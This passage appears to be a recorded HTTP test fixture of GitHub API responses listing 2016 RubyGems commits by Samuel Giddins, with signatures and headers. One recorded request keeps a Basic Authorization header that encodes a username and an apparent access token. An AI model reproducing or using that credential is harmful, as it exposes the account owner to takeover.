i.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b6d9dff1b4b283b1b43365bd93b4fb0897ddef7f","url":"https://api.github.com/repos/rubygems/rubygems/commits/b6d9dff1b4b283b1b43365bd93b4fb0897ddef7f","html_url":"https://github.com/rubygems/rubygems/commit/b6d9dff1b4b283b1b43365bd93b4fb0897ddef7f"}]},{"sha":"971ac3bef7e9bdf0428de04e410869949d2e17b8","node_id":"MDY6Q29tbWl0NjE0MDcwOjk3MWFjM2JlZjdlOWJkZjA0MjhkZTA0ZTQxMDg2OTk0OWQyZTE3Yjg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-21T14:57:50Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-21T14:57:50Z"},"message":"[UpdateCommand] Install the first version instead of re-sorting\n\nAccounting for 0e3c58e changing the sort order","tree":{"sha":"959e19d46032432bf600047378a52e18314c6979","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/959e19d46032432bf600047378a52e18314c6979"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/971ac3bef7e9bdf0428de04e410869949d2e17b8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXaVXuAAoJEAEZW7MV3ahWgaQP/3ySqvD4he5ZBBUQ+5T+boOb\n0Q+lyYUfH0Z4GKPQM6nV7GG6dGmRJo/guKyjyPt5PBfOiqk/79XtZMmNgewns2D1\nKOI0gliZHX1so+Zjs6mv9CNJKo89fmqtueOgM2wITD3+ePFA+lO0C1G7FvMxBWiR\nZFhzBAlLqC62G4cx8b3pfa+27il852IdBDW+WIsruHs/bV1gHNlovrjQh6T4T3z7\nxWVrQ1tiWW+PoeOVfCgYBJJmdYF+y64yjwSM0qIb6Q5tdAAOW9GBOdBZLDeH6Rof\nZbJJgHPEJBbcJ1GyMTnsoSJWVhWFkIRYDGEZyMml0sqcgAbQser8kXNzmnuPthob\naRo50bb3JbKvF4GCRo9SF49okkwR1LztcUH5QPgXUQdXe6p6sY4QWiV4th8E7X3c\n4bQJ4yG3i4ygDNIx++z+3vWczk8VWYGYeXrAaMoYRQIHquAdIbKNWu0dJ/ca+yo/\nNGyhXmgSB4BTCtcj9nNqHF2XUQTS73t29R2eW5qwQWgkZgpt8quksBucdg3i8jUs\ndHeTG1w+Q0Kk0lL2TdK4868b2wvZtpqSEbfWHy7JV/H1HfSj8Hisk5ksh+GXeklr\neEYGa6/Etf3uY4SdgOn/vziEojBIkyJYGVs5e4gs5ikUfUAdizJBFYqgdOGBXPBe\n+zhX9h6NEb4hqEsm7jY8\n=iw+k\n-----END PGP SIGNATURE-----","payload":"tree 959e19d46032432bf600047378a52e18314c6979\nparent 9a153cd5e05350825993b155388a2d6e01aadb2f\nauthor Samuel Giddins 1466521070 -0500\ncommitter Samuel Giddins 1466521070 -0500\n\n[UpdateCommand] Install the first version instead of re-sorting\n\nAccounting for 0e3c58e changing the sort order\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/971ac3bef7e9bdf0428de04e410869949d2e17b8","html_url":"https://github.com/rubygems/rubygems/commit/971ac3bef7e9bdf0428de04e410869949d2e17b8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/971ac3bef7e9bdf0428de04e410869949d2e17b8/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a153cd5e05350825993b155388a2d6e01aadb2f","url":"https://api.github.com/repos/rubygems/rubygems/commits/9a153cd5e05350825993b155388a2d6e01aadb2f","html_url":"https://github.com/rubygems/rubygems/commit/9a153cd5e05350825993b155388a2d6e01aadb2f"}]},{"sha":"aa83d3799579b8714b1f9c8c78afdb4e176bba58","node_id":"MDY6Q29tbWl0NjE0MDcwOmFhODNkMzc5OTU3OWI4NzE0YjFmOWM4Yzc4YWZkYjRlMTc2YmJhNTg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-14T23:36:09Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-20T23:23:16Z"},"message":"Run bundler tests on TravisCI","tree":{"sha":"1dcbe0dedff40018fe9c482a7bfb900908409bdf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1dcbe0dedff40018fe9c482a7bfb900908409bdf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/aa83d3799579b8714b1f9c8c78afdb4e176bba58","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXaHrkAAoJEAEZW7MV3ahWRbkQAINYrhFqroVrgw6BKkfcxUSP\nbwl9h1ToP6oiC8UPqtO6PFPzKx9vuNTww01U66/qOdmQkNtdTBodZ6r3EPT2e6Xd\nKnNRbQK6uSuiBSLKER1KP9H4+Lqt1ZOZzlPYz+gtxBhjsS4HPEI/tlPJLhJCbWQp\njbc3ezEWj1oKayUuzzExT/ykLogwbaoPybF+nFDl1ogQl7cSvVYZCMrla7rUAPk8\nQVbBp8I/9XYHWQ/6EulgzTbpWLfoe+ALXNjXSdXr5Lf29mHRxhkv2vTUZChNrAVt\n1APM1xJQz1OWuunH/m53Uzrt3B+xJ5+F+foTKk/27hGm8TII5BaUsfFEGT9yrEFu\nPhckcKE+6UTGxIXbOp+dSb5Z3oyfzyLzuC0uXQqLtYGQDma8ppO67IAmKHRgFZsO\n9YVIFKN3K0RhFFNGsS2fqiYLxt5Ko8J5z3GzqmefkcPwWCP4ui79XM60s1c9lhMd\nYrZeKLBeLMKpFXAlDCsin67dRHf4aK+wzgaQ/7PHoElRhDWNY5hyPEooZGzrY5fc\n7iGVFgq3Zw/7ZHHcRWGFJa1jXzT/7IJsdVQMFkHViNZumq4LWRSA1QulgRc826KL\nVWq49LfHKA5BG2YSqn/CVmVOeCAdiRywfnfOUqd/sb+rZTb2Qbi+/uSBuPo1B31r\nFCdAMcBua5fXmhafJrwE\n=+q1q\n-----END PGP SIGNATURE-----","payload":"tree 1dcbe0dedff40018fe9c482a7bfb900908409bdf\nparent 22680587d9af6b69d73887999ccd0fc7d424cf84\nauthor Samuel Giddins 1465947369 -0700\ncommitter Samuel Giddins 1466464996 -0500\n\nRun bundler tests on TravisCI\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/aa83d3799579b8714b1f9c8c78afdb4e176bba58","html_url":"https://github.com/rubygems/rubygems/commit/aa83d3799579b8714b1f9c8c78afdb4e176bba58","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/aa83d3799579b8714b1f9c8c78afdb4e176bba58/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"22680587d9af6b69d73887999ccd0fc7d424cf84","url":"https://api.github.com/repos/rubygems/rubygems/commits/22680587d9af6b69d73887999ccd0fc7d424cf84","html_url":"https://github.com/rubygems/rubygems/commit/22680587d9af6b69d73887999ccd0fc7d424cf84"}]},{"sha":"22680587d9af6b69d73887999ccd0fc7d424cf84","node_id":"MDY6Q29tbWl0NjE0MDcwOjIyNjgwNTg3ZDlhZjZiNjlkNzM4ODc5OTljY2QwZmM3ZDQyNGNmODQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-19T11:50:33Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-06-19T11:50:33Z"},"message":"Merge pull request #1647 from rubygems/seg-fix-ci\n\n[Rakefile] Fix CI","tree":{"sha":"47990218d707a574ac58bfe79979ddf77490b487","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/47990218d707a574ac58bfe79979ddf77490b487"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/22680587d9af6b69d73887999ccd0fc7d424cf84","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/22680587d9af6b69d73887999ccd0fc7d424cf84","html_url":"https://github.com/rubygems/rubygems/commit/22680587d9af6b69d73887999ccd0fc7d424cf84","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/22680587d9af6b69d73887999ccd0fc7d424cf84/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2c6d256bebbdb250384aa48d4516fde30b66cefc","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6d256bebbdb250384aa48d4516fde30b66cefc","html_url":"https://github.com/rubygems/rubygems/commit/2c6d256bebbdb250384aa48d4516fde30b66cefc"},{"sha":"285c9916d5a36648817f76bf53f30bf299589149","url":"https://api.github.com/repos/rubygems/rubygems/commits/285c9916d5a36648817f76bf53f30bf299589149","html_url":"https://github.com/rubygems/rubygems/commit/285c9916d5a36648817f76bf53f30bf299589149"}]},{"sha":"285c9916d5a36648817f76bf53f30bf299589149","node_id":"MDY6Q29tbWl0NjE0MDcwOjI4NWM5OTE2ZDVhMzY2NDg4MTdmNzZiZjUzZjMwYmYyOTk1ODkxNDk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-19T04:18:30Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-19T04:48:30Z"},"message":"[Rakefile] Fix CI","tree":{"sha":"47990218d707a574ac58bfe79979ddf77490b487","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/47990218d707a574ac58bfe79979ddf77490b487"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/285c9916d5a36648817f76bf53f30bf299589149","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXZiQeAAoJEAEZW7MV3ahWO84QAIX2xA8nmTFfAkoaSS1lWBeN\nTWrwpMNGN9tm/B2XGSVD1fcCbyq7jR9H82qd3sQcs15qGjbLAy/1JtMfRVCsphHC\nhvX9fhvY5yxbkBqwyAWIqk9fKcyWn85IVLdmJwy1nuoLwCAA2pnnAy0CK8GFhhqS\nDRF77+TGUFM1Wtp1viIfMywlKsWOdhBWAow7ZXrLGBb52zjt1/pL1ynMBlEQasCz\nkmHsd3MwKX8Z810mjMTBFfhiPpmgUxZDV0gpT7dLOrhQK7P9r33o0+8EGjqwnqVF\n+W33Lfs58/iQLkS8XoBJ8ldYTX/Dav/nJIC60rK8eCC5GeCGEN34+u7gpGEG9t8W\nwA4U4XdOmrlpT9RKR0TBJUDFkfzCeCuL38uGeHXtSgA6X6atU2uvkR6SU6IkJ53I\nse6AAxyRs0wrWdBuJ+enuhOOkzeWnoetxm3KqrPuotL1DoNC4JTSOBT0LNrpiCpp\niqGF8I0vJ9WVZFYPtbqoDvaLXkhvhiptghvuNcg3FDxbdnxb6UBC1LKX3T4AhgN9\ndhN/Xwyd428+XsuDNVXlXWlc+eSKaPi3MqAgGb9Oh66bEYmUOTGDH0C5p8F0YQ7w\nszpKRPhh6Y2slM1krf4cfNpzNjKUAdTVS7gCTWmT14ctbkh7Y7sEOjEKIX4J0qT6\nZyPZWb7UCagXhZ3nawX0\n=Zu20\n-----END PGP SIGNATURE-----","payload":"tree 47990218d707a574ac58bfe79979ddf77490b487\nparent 2c6d256bebbdb250384aa48d4516fde30b66cefc\nauthor Samuel Giddins 1466309910 -0400\ncommitter Samuel Giddins 1466311710 -0400\n\n[Rakefile] Fix CI\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/285c9916d5a36648817f76bf53f30bf299589149","html_url":"https://github.com/rubygems/rubygems/commit/285c9916d5a36648817f76bf53f30bf299589149","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/285c9916d5a36648817f76bf53f30bf299589149/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"2c6d256bebbdb250384aa48d4516fde30b66cefc","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6d256bebbdb250384aa48d4516fde30b66cefc","html_url":"https://github.com/rubygems/rubygems/commit/2c6d256bebbdb250384aa48d4516fde30b66cefc"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:07 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=4&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4306' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"479bd8777719667eaa1837d4f48fa047" Last-Modified: - Fri, 17 Jun 2016 04:37:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - D88B:34A1:FFE85E:2073642:5C8C1EFF body: encoding: ASCII-8BIT string: '[{"sha":"2c6d256bebbdb250384aa48d4516fde30b66cefc","node_id":"MDY6Q29tbWl0NjE0MDcwOjJjNmQyNTZiZWJiZGIyNTAzODRhYTQ4ZDQ1MTZmZGUzMGI2NmNlZmM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-17T04:37:37Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-06-17T04:37:37Z"},"message":"Merge pull request #1638 from rubygems/seg-molinillo-0.5.0\n\nUpdate vendored Molinillo to 0.5.0","tree":{"sha":"102d39f8f4aa04093b1b1078348a732ccaacef47","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/102d39f8f4aa04093b1b1078348a732ccaacef47"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c6d256bebbdb250384aa48d4516fde30b66cefc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6d256bebbdb250384aa48d4516fde30b66cefc","html_url":"https://github.com/rubygems/rubygems/commit/2c6d256bebbdb250384aa48d4516fde30b66cefc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6d256bebbdb250384aa48d4516fde30b66cefc/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"75cb195a5d7d3717b2593ee9a6f6fb461d1e173d","url":"https://api.github.com/repos/rubygems/rubygems/commits/75cb195a5d7d3717b2593ee9a6f6fb461d1e173d","html_url":"https://github.com/rubygems/rubygems/commit/75cb195a5d7d3717b2593ee9a6f6fb461d1e173d"},{"sha":"3bcc633ca394b592fb78e5272ae069d5efe45d7b","url":"https://api.github.com/repos/rubygems/rubygems/commits/3bcc633ca394b592fb78e5272ae069d5efe45d7b","html_url":"https://github.com/rubygems/rubygems/commit/3bcc633ca394b592fb78e5272ae069d5efe45d7b"}]},{"sha":"3bcc633ca394b592fb78e5272ae069d5efe45d7b","node_id":"MDY6Q29tbWl0NjE0MDcwOjNiY2M2MzNjYTM5NGI1OTJmYjc4ZTUyNzJhZTA2OWQ1ZWZlNDVkN2I=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-14T01:01:45Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-14T02:12:20Z"},"message":"Update vendored Molinillo to 0.5.0","tree":{"sha":"102d39f8f4aa04093b1b1078348a732ccaacef47","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/102d39f8f4aa04093b1b1078348a732ccaacef47"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3bcc633ca394b592fb78e5272ae069d5efe45d7b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXX2gEAAoJEAEZW7MV3ahWri0QAJLClXmCelIpULOvnU6UP6SW\nwDK1rlmN1L1U+pkN8cSH1B1sgg3BgW/rxHDh/nyQcYbJxquLS+0KOgh1z/u3Lewx\nMN9WpKIePKs6VbMnOeomxVjgkhwM1W1DmlXHXyLaG1muCM659zjtUYNgqaU4WdNX\nUshEsb+PKWvEmIhcT0gGbuN/PDEA9sVFeVG+khB/yz4ocx7bS3jSfU51pmUWbheA\nPDMrkfc0Rkm75VepMshaMTQSi1KrAcoCvVlYeBPBfOPHubYDOzZWuz0KiNj6gB9B\nY4/y7UxvLBlcKBP9OjuO8zoJ0xjIDNzOLyUA/gHgbKK/TbWP5UKjLjrXgaSmBeo3\nmVdtaRuS/67lkb5/RqFiptyU+0UfoUDBAU0iDPqD5nmqO0LsXWfnepIzUgwB1b7K\nCjsLYLqnuQx2aJs5Z2dkZ/ElYgApFybPNCasrOVMAbM2kOG0wHkhOzwt6Rhemge9\nipAlmpUfkRtbBGfQrxGsSjXAyDGLaKH1eASUo/oMTUpIfKj9b1Gt/66FbIGPp7Pv\nu/BZkd+AWhMnAOumqOOHqP/BABxRN62rMTJ0KMcaH3i4OZcAcc5rALc4/65ZtaQr\n0FYVB+gq9vEEpy6hZvBkitYgEqF3mxAH8tHp9lVzq7Uo+aX4cTINvnu6kw7rxr+h\nWu01wPmraJZBApqPjgj0\n=UXXZ\n-----END PGP SIGNATURE-----","payload":"tree 102d39f8f4aa04093b1b1078348a732ccaacef47\nparent 75cb195a5d7d3717b2593ee9a6f6fb461d1e173d\nauthor Samuel Giddins 1465866105 -0700\ncommitter Samuel Giddins 1465870340 -0700\n\nUpdate vendored Molinillo to 0.5.0\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3bcc633ca394b592fb78e5272ae069d5efe45d7b","html_url":"https://github.com/rubygems/rubygems/commit/3bcc633ca394b592fb78e5272ae069d5efe45d7b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3bcc633ca394b592fb78e5272ae069d5efe45d7b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"75cb195a5d7d3717b2593ee9a6f6fb461d1e173d","url":"https://api.github.com/repos/rubygems/rubygems/commits/75cb195a5d7d3717b2593ee9a6f6fb461d1e173d","html_url":"https://github.com/rubygems/rubygems/commit/75cb195a5d7d3717b2593ee9a6f6fb461d1e173d"}]},{"sha":"dae248425e5b08e1cb8993f43333115e1b87ea1f","node_id":"MDY6Q29tbWl0NjE0MDcwOmRhZTI0ODQyNWU1YjA4ZTFjYjg5OTNmNDMzMzMxMTVlMWI4N2VhMWY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-05T15:41:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-05T15:41:40Z"},"message":"Merge pull request #1612 from ptomulik/fix-1608\n\nFix tar headers with a 101 character 